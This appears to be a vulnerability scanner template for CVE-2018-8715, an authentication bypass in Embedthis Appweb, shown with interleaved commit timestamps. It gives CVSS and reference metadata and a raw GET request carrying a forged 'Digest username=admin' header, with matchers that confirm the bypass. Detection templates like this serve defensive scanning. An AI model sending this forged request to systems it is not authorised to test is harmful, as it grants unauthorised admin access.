2021-06-30 08:30:56 +00:00
id : CVE-2018-8715
info :
name : AppWeb Authentication Bypass vulnerability
author : milo2012
severity : high
description : The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.
2021-08-18 11:37:49 +00:00
reference :
2021-08-19 14:44:46 +00:00
- https://github.com/embedthis/appweb/issues/610
2022-05-17 09:18:12 +00:00
- https://blogs.securiteam.com/index.php/archives/3676
- https://security.paloaltonetworks.com/CVE-2018-8715
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 8.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2018-8715
cwe-id : CWE-287
2022-04-22 10:38:41 +00:00
tags : cve,cve2018,appweb,auth-bypass
2021-06-30 08:30:56 +00:00
requests :
- raw :
- |
GET / HTTP/1.1
Host : {{Hostname}}
Authorization : Digest username=admin
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- '<a class="logo" href="https://embedthis.com/"> </a>'
part : body
